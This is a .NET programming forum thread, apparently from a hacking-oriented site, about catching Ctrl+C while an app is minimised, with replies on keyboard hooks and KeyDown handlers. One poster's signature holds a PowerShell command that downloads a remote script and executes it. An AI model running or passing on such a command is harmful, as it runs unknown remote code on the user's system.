Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Hotkey

I'm trying to setup a simple hotkey for my app so that when the user hits CTRL + C when the app is minimized certain code will still be executed. Best and easiest way to achieve this?

(NOT DOING TIMERS)
[Image: c5bcca49a3c4d3c6c7a27493507eba95.png]
These are usually called Low Level Keyboard Hooks, there’s quite a few examples on the Internet, most of them will probably be detected as keyloggers. Here’s an old example

http://www.dylansweb.com/2014/10/low-lev...-in-c-net/
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Jun 17, 2018 01:52 AM)Nick (Name) Wrote:  These are usually called Low Level Keyboard Hooks, there’s quite a few examples on the Internet, most of them will probably be detected as keyloggers. Here’s an old example

http://www.dylansweb.com/2014/10/low-lev...-in-c-net/

Thank you, this was very helpful.
[Image: c5bcca49a3c4d3c6c7a27493507eba95.png]
I don't know How to do This , But if I'm welling to do such thing I'll create a menu give it a shortcut Ctrl + C and hide it , write your code on it .
I think this is the simplest way to do it , Plus it will work as long as the form is on focus .
Easiest way is to use the Form KeyDown event.

PHP Code

<?php 
private void FormMain_KeyDown(object sender, KeyEventArgs e)
{
 
  if (e.Modifiers == Keys.Control && e.KeyCode == Keys.C)
 
  {
 
        // Do something
 
  }
} 
(Jun 28, 2018 06:25 PM)debug Wrote:  Easiest way is to use the Form KeyDown event.

PHP Code

<?php 
private void FormMain_KeyDown(object sender, KeyEventArgs e)
{
 
  if (e.Modifiers == Keys.Control && e.KeyCode == Keys.C)
 
  {
 
        // Do something
 
  }
} 

It won't work if the application is not on focus just like what OP said (after minimized).
[Image: signaturetwo.png]


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by TechniqueGottNov 27, 2016 09:07 AM 2 112 Nov 27, 2016 09:07 AM
Last Post: TechniqueGott
[.NET] by LoneDec 18, 2015 06:51 PM 2 158 Dec 18, 2015 06:51 PM
Last Post: Odus
[.NET] by VrektOct 18, 2015 07:14 AM 4 156 Oct 18, 2015 07:14 AM
Last Post: Vrekt